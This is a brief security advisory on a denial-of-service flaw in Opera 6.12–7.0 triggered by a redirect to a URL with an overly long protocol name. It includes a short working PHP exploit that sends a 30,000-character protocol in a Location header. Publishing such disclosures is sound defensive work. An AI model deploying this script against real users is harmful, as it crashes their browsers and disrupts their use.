

# [NEWS] Opera Denial of Service (Long Protocol Name)

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## SUMMARY

<<http://www.opera.com>> Opera is an alternative browser for both the Windows and Linux operating system. The Opera browser has been found to be vulnerable to a denial of service attack that can be exploited by redirecting the current location to an overly long location (in which the protocol name is the long buffer).

## DETAILS

Vulnerable systems:

\* Opera version 6.12 up to version 7.0

Exploit (PHP):

```
<?php
for($i=0; 20000+10000>$i; $i++) $prot.="A";
header("Location: $prot://dd");
?>
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## ADDITIONAL INFORMATION

The information has been provided by <<mailto:dodo@darkwired.org>> dodo.

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